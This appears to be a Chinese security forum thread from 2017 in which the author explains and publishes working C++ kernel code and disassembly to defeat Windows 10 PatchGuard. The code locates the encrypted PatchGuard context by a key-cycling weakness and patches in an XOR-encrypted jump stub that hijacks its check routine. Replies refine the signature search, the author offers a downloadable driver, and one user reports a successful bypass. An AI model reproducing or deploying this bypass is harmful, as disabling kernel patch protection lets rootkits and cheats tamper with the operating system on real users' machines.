请选择 进入手机版 | 继续访问电脑版
设为首页收藏本站

梦织未来

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 3799|回复: 41

[原创] 绕过windows10 patchguard原理与实现

[复制链接]

升级   100%

221

主题

66

精华

1504

积分
发表于 2017-11-9 17:59:17 | 显示全部楼层 |阅读模式
梦织未来(www.mengwuji.net)

作者:mengwuji

上个帖子我讨论了windows10 pg的一些细节,参见:http://www.mengwuji.net/thread-7608-1-1.html。已经讨论如何绕过,但是没有提供一个比较好的方法进行绕过。这个帖子提供一个下午想出来的办法,亲测可行。


上贴说过CmpAppendDllSection是经过双加密的,我没能力双解密出来,所以说过一种办法是绕过CmpAppendDllSection函数体,对它后面的内容进行加解密,因为它后面的内容是只进行过一次加密的,而且我们对它怎么加密的已经清楚了,所以想解密出来就要想想办法。今天早上我还想不出怎么去解密出CmpAppendDllSection函数后面的内容,但是下午就想到了,有点儿小兴奋。
先贴出CmpAppendDllSection后面的解密代码:


  1. auto TempSize = FollowContextSize;    //context的尺寸
  2. auto FollowContextKey = ContextKey;
  3. //解密剩下的部分
  4. do {
  5.   pTempMem[(0xC0 / sizeof(ULONG_PTR)) + TempSize] ^= FollowContextKey;
  6.   auto RorBit = static_cast<UCHAR>(TempSize);
  7.   FollowContextKey = ROR(FollowContextKey, RorBit, 64);
  8. } while (--TempSize);

复制代码

上面的解密难点在于key是每8个字节变动一次,而且通过当前key无法推到出下一次key,所以之前我就想了很久没辙。下午换了个思路,既然无法通过当前key推算出下一个key的内容,那能不能推出下下下下下......次key的内容呢?答案是能!上面的代码可以看出key每经过0x100*8个字节后,就会变回原来的key,意思就是当前的动态key和+0x800字节后面计算的动态key是一样的!发现这点后的我就立马去实验了,结果完全可行。先来看看我虚拟机的CmpAppendDllSection代码:

  1. INIT:00000001407C4B00                                                 CmpAppendDllSection proc near           ; DATA XREF: sub_1407AAAC8+1C4Do
  2. INIT:00000001407C4B00                                                                 db      2Eh
  3. INIT:00000001407C4B00 2E 48 31 11                                                     xor     [rcx], rdx
  4. INIT:00000001407C4B04 48 31 51 08                                                     xor     [rcx+8], rdx
  5. INIT:00000001407C4B08 48 31 51 10                                                     xor     [rcx+10h], rdx
  6. INIT:00000001407C4B0C 48 31 51 18                                                     xor     [rcx+18h], rdx
  7. INIT:00000001407C4B10 48 31 51 20                                                     xor     [rcx+20h], rdx
  8. INIT:00000001407C4B14 48 31 51 28                                                     xor     [rcx+28h], rdx
  9. INIT:00000001407C4B18 48 31 51 30                                                     xor     [rcx+30h], rdx
  10. INIT:00000001407C4B1C 48 31 51 38                                                     xor     [rcx+38h], rdx
  11. INIT:00000001407C4B20 48 31 51 40                                                     xor     [rcx+40h], rdx
  12. INIT:00000001407C4B24 48 31 51 48                                                     xor     [rcx+48h], rdx
  13. INIT:00000001407C4B28 48 31 51 50                                                     xor     [rcx+50h], rdx
  14. INIT:00000001407C4B2C 48 31 51 58                                                     xor     [rcx+58h], rdx
  15. INIT:00000001407C4B30 48 31 51 60                                                     xor     [rcx+60h], rdx
  16. INIT:00000001407C4B34 48 31 51 68                                                     xor     [rcx+68h], rdx
  17. INIT:00000001407C4B38 48 31 51 70                                                     xor     [rcx+70h], rdx
  18. INIT:00000001407C4B3C 48 31 51 78                                                     xor     [rcx+78h], rdx
  19. INIT:00000001407C4B40 48 31 91 80 00 00 00                                            xor     [rcx+80h], rdx
  20. INIT:00000001407C4B47 48 31 91 88 00 00 00                                            xor     [rcx+88h], rdx
  21. INIT:00000001407C4B4E 48 31 91 90 00 00 00                                            xor     [rcx+90h], rdx
  22. INIT:00000001407C4B55 48 31 91 98 00 00 00                                            xor     [rcx+98h], rdx
  23. INIT:00000001407C4B5C 48 31 91 A0 00 00 00                                            xor     [rcx+0A0h], rdx
  24. INIT:00000001407C4B63 48 31 91 A8 00 00 00                                            xor     [rcx+0A8h], rdx
  25. INIT:00000001407C4B6A 48 31 91 B0 00 00 00                                            xor     [rcx+0B0h], rdx
  26. INIT:00000001407C4B71 48 31 91 B8 00 00 00                                            xor     [rcx+0B8h], rdx
  27. INIT:00000001407C4B78 48 31 91 C0 00 00 00                                            xor     [rcx+0C0h], rdx
  28. INIT:00000001407C4B7F 31 11                                                           xor     [rcx], edx
  29. INIT:00000001407C4B81 48 8B C2                                                        mov     rax, rdx
  30. INIT:00000001407C4B84 48 8B D1                                                        mov     rdx, rcx
  31. INIT:00000001407C4B87 8B 8A C4 00 00 00                                               mov     ecx, [rdx+0C4h]
  32. INIT:00000001407C4B8D
  33. INIT:00000001407C4B8D                                                 loc_1407C4B8D:                          ; CODE XREF: CmpAppendDllSection+98j
  34. INIT:00000001407C4B8D 48 31 84 CA C0 00 00 00                                         xor     [rdx+rcx*8+0C0h], rax
  35. INIT:00000001407C4B95 48 D3 C8                                                        ror     rax, cl
  36. INIT:00000001407C4B98 E2 F3                                                           loop    loc_1407C4B8D
  37. INIT:00000001407C4B9A 8B 82 50 05 00 00                                               mov     eax, [rdx+550h]
  38. INIT:00000001407C4BA0 48 03 C2                                                        add     rax, rdx
  39. INIT:00000001407C4BA3 48 83 EC 28                                                     sub     rsp, 28h
  40. INIT:00000001407C4BA7 FF D0                                                           call    rax                                              ;我选择这个rax为我查找的内容进行解密,然后再加密回去,这样pg调用rax的时候就会被我劫持到,进而绕过它~
  41. INIT:00000001407C4BA9 48 83 C4 28                                                     add     rsp, 28h
  42. INIT:00000001407C4BAD 4C 8B 80 00 01 00 00                                            mov     r8, [rax+100h]
  43. INIT:00000001407C4BB4 48 8D 88 00 05 00 00                                            lea     rcx, [rax+500h]
  44. INIT:00000001407C4BBB BA 01 00 00 00                                                  mov     edx, 1
  45. INIT:00000001407C4BC0 41 FF E0                                                        jmp     r8
  46. INIT:00000001407C4BC0                                                 CmpAppendDllSection endp
复制代码


我已经知道上面地址00000001407C4BA7那里调用的rax是在ida中的哪个函数了,于是结合上面的思路就有了下面的代码:

  1. ULONG_PTR NewExecPatchGuard(ULONG_PTR Unuse, ULONG_PTR Context)
  2. {
  3. KeBugCheckEx(0x119, Context, 0, 0, 0);
  4. }
  5. static void AttackPatchGuard(PUCHAR StartAddress, ULONG_PTR SizeOfBytes)
  6. {
  7. #define PageSize 0x1000
  8. if (SizeOfBytes < PageSize)
  9. {
  10.   return ;
  11. }
  12. for (auto i = 0;i < SizeOfBytes;i++)
  13. {
  14.   //下面攻击密文pg
  15.   if ((i + 0x800 + 0x10) < SizeOfBytes)
  16.   {
  17.    auto TempKey1 = *(ULONG_PTR*)(StartAddress + i) ^ 0x4808588948c48b48;
  18.    auto TempKey2 = *(ULONG_PTR*)(StartAddress + i + 0x8) ^ 0x5518788948107089;
  19.    if ((*(ULONG_PTR*)(StartAddress + i + 0x800) ^ 0x8948f60344028b48) == TempKey1 &&
  20.     (*(ULONG_PTR*)(StartAddress + i + 0x800 + 0x8) ^ 0xc1834808c2834801) == TempKey2)
  21.    {
  22.     LOG_DEBUG("ExecPatchGuard address:%p    TempKey1:%p    TempKey2:%p\n", StartAddress + i, TempKey1, TempKey2);
  23.     UCHAR Code[0x10] = {0};
  24.     memcpy(Code,"\x48\xB8\x21\x43\x65\x87\x78\x56\x34\x12\xFF\xE0\x90\x90\x90\x90",0x10);
  25.     *(ULONG_PTR*)(Code + 0x2) = (ULONG_PTR)NewExecPatchGuard;
  26.     *(ULONG_PTR*)(StartAddress + i) = *(ULONG_PTR*)Code ^ TempKey1;
  27.     *(ULONG_PTR*)(StartAddress + i + 0x8) = *(ULONG_PTR*)(Code + 0x8) ^ TempKey2;
  28.    }
  29.   }
  30. }
  31. }
复制代码

我故意在我接管的函数里面制造了一个蓝屏,果然蓝屏了(我实际应该弄个打印....)。
然后改了NewExecPatchGuard为下面的代码:

  1. ULONG_PTR NewExecPatchGuard(ULONG_PTR Unuse, ULONG_PTR Context)
  2. {
  3. *(ULONG_PTR*)(Context + 0x100) = (ULONG_PTR)NewExQueueWorkItem;
  4. return Context;
  5. }
复制代码


并且我的代码中设置了一个hook,静静的等了40多分钟没毛病,思路果然是没问题的,窃喜~

这是我用最少的代码干掉pg的,而且真的感觉炒鸡简单~ 不过有个问题是,这个每个版本硬编码可能不一样,要多采集点儿才行。

ps:以后要好好学学算法,估计算法厉害的话能节约好多时间了...  

希望小伙伴们也多多分享些东西,我目前过windows10 pg用到了其他的一个办法,也是贼6的感觉,过些时候我再分享出来。


我一定是见鬼了!
回复

使用道具 举报

升级   12%

1

主题

0

精华

236

积分
发表于 2017-11-9 19:50:39 | 显示全部楼层
本帖最后由 killvxk 于 2017-11-9 20:11 编辑

这个编码很硬啊,需要读NTOS文件从INITKDBG段取出特征才行
后面2个硬编码每个版本都不一样
前面2个没毛病,整个版本没有变化,但是+0x800,变化太多每个build都不一样不变的是前面
0x4808588948c48b48
0x5518788948107089
+0x800每个build变化

回复 支持 反对

使用道具 举报

升级   100%

221

主题

66

精华

1504

积分
 楼主| 发表于 2017-11-9 20:09:57 | 显示全部楼层
killvxk 发表于 2017-11-9 19:50
这个编码很硬啊,需要读NTOS文件从INITKDBG段取出特征才行
后面2个硬编码每个版本都不一样
前面2个没毛病 ...

嗯,就是有些硬编码不好,但是如果想全部收集应该也不麻烦的,我不信windows10的pg还有十几种变化。
如果收集齐全了至少目前来说是公开的最好的解决方案了。
我一定是见鬼了!
回复 支持 反对

使用道具 举报

升级   12%

1

主题

0

精华

236

积分
发表于 2017-11-9 20:14:11 | 显示全部楼层
mengwuji 发表于 2017-11-9 20:09
嗯,就是有些硬编码不好,但是如果想全部收集应该也不麻烦的,我不信windows10的pg还有十几种变化。
如 ...

好办法就是我说的读文件取ntoskrnl的initkdbg节数据,
搜索前2个特征码定位那个代码,
然后取出+0x800,+0x808的2个QWORD来。

回复 支持 反对

使用道具 举报

升级   100%

221

主题

66

精华

1504

积分
 楼主| 发表于 2017-11-9 20:16:33 | 显示全部楼层
killvxk 发表于 2017-11-9 20:14
好办法就是我说的读文件取ntoskrnl的initkdbg节数据,
搜索前2个特征码定位那个代码,
然后取出+0x800 ...

嗯,你说的这样也是没毛病的,还比较通用。同时还能把win7 win8一份代码就搞定了。
我一定是见鬼了!
回复 支持 反对

使用道具 举报

升级   12%

1

主题

0

精华

236

积分
发表于 2017-11-9 20:21:46 | 显示全部楼层
mengwuji 发表于 2017-11-9 20:16
嗯,你说的这样也是没毛病的,还比较通用。同时还能把win7 win8一份代码就搞定了。

是啊,等有时间写写代码
回复 支持 反对

使用道具 举报

升级   100%

221

主题

66

精华

1504

积分
 楼主| 发表于 2017-11-9 20:25:46 | 显示全部楼层
killvxk 发表于 2017-11-9 20:21
是啊,等有时间写写代码

希望微软赶紧修复这个漏洞
我一定是见鬼了!
回复 支持 反对

使用道具 举报

升级   41.33%

13

主题

0

精华

112

积分
发表于 2017-11-9 20:43:44 | 显示全部楼层
感谢分享
回复 支持 反对

使用道具 举报

升级   30%

0

主题

0

精华

15

积分
发表于 2017-11-10 08:00:50 | 显示全部楼层
好厉害! 
回复 支持 反对

使用道具 举报

升级   32.67%

23

主题

0

精华

99

积分
发表于 2017-11-10 08:53:01 | 显示全部楼层
我目前过windows10 pg用到了其他的一个办法,也是贼6的感觉,过些时候我再分享出来。
回复 支持 反对

使用道具 举报

升级   74%

2

主题

0

精华

37

积分
发表于 2017-11-10 10:09:30 | 显示全部楼层
谢谢梦大分享~~
回复 支持 反对

使用道具 举报

升级   100%

41

主题

5

精华

153

积分
发表于 2017-11-10 18:07:07 | 显示全部楼层
谢谢梦大分享~~
回复 支持 反对

使用道具 举报

升级   12%

1

主题

0

精华

6

积分
发表于 2017-11-10 22:50:25 | 显示全部楼层
虽然看不懂,还是围观一下
回复 支持 反对

使用道具 举报

升级   100%

221

主题

66

精华

1504

积分
 楼主| 发表于 2017-11-11 21:20:17 | 显示全部楼层
补充内容:
我写了示例驱动,目前测试了几台电脑没有问题,希望更多的小伙伴能测试下。文件为了防止利用我加了一点儿限制,有兴趣的小伙伴请下载。解压密码:www.mengwuji.net

PassPG.rar

39.53 KB, 下载次数: 138

我一定是见鬼了!
回复 支持 反对

使用道具 举报

升级   12.67%

26

主题

2

精华

238

积分
发表于 2017-11-13 09:29:00 | 显示全部楼层
本帖最后由 hzqst 于 2017-11-13 09:32 编辑
mengwuji 发表于 2017-11-11 21:20
补充内容:
我写了示例驱动,目前测试了几台电脑没有问题,希望更多的小伙伴能测试下。文件为了防止利用我 ...

似乎看到了hyperplatform的log.cpp,还有很多很僵硬的硬编码
回复 支持 反对

使用道具 举报

升级   100%

221

主题

66

精华

1504

积分
 楼主| 发表于 2017-11-13 14:12:00 | 显示全部楼层
hzqst 发表于 2017-11-13 09:29
似乎看到了hyperplatform的log.cpp,还有很多很僵硬的硬编码

hyperplatform那个log很好用所以就照搬了。
特征码只能用硬编码定位,不过我试了几个都能定位上所以应该没啥问题。
我一定是见鬼了!
回复 支持 反对

使用道具 举报

升级   100%

41

主题

5

精华

153

积分
发表于 2017-11-13 19:29:46 | 显示全部楼层
hzqst 发表于 2017-11-13 09:29
似乎看到了hyperplatform的log.cpp,还有很多很僵硬的硬编码

抱歉 我也看见了 而且我快看哭了,看了两天才大概明白是个什么情况,我太菜了
回复 支持 反对

使用道具 举报

升级   74%

2

主题

0

精华

37

积分
发表于 2017-11-16 10:05:25 | 显示全部楼层
有点困难
回复 支持 反对

使用道具 举报

升级   8%

0

主题

0

精华

4

积分
发表于 2017-11-16 16:58:53 | 显示全部楼层
16:49:56.321        DBG        #4            4        59704        System                 Successful attack!  ExecPatchGuard:FFFFC20FC7018959

NB, win10 17025看起来都成功了

补充内容 (2017-11-17 12:08):
今天早上来,发现绿屏了,不过每注意错误码,后面再测试看看
回复 支持 反对

使用道具 举报

升级   100%

221

主题

66

精华

1504

积分
 楼主| 发表于 2017-11-17 14:01:02 | 显示全部楼层
xwtwhonew 发表于 2017-11-16 16:58
16:49:56.321        DBG        #4            4        59704        System                 Successful attack!  ExecPatchGuard:FFFFC20FC7018959
...

看看dmp是显示什么?
我这个没有对MmAllocateIndependentPages申请的内存进行查找,因为测试了几台MmAllocateIndependentPages申请的内存种都没有context,所以以为可能不会通过这种办法了。
dmp如果蓝屏不是109的话,你上传上来我看看。
我一定是见鬼了!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|手机版|小黑屋|Archiver|mengwuji ( 粤ICP备13060035号-1 )  

GMT+8, 2018-2-23 08:33 , Processed in 0.433929 second(s), 34 queries .

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表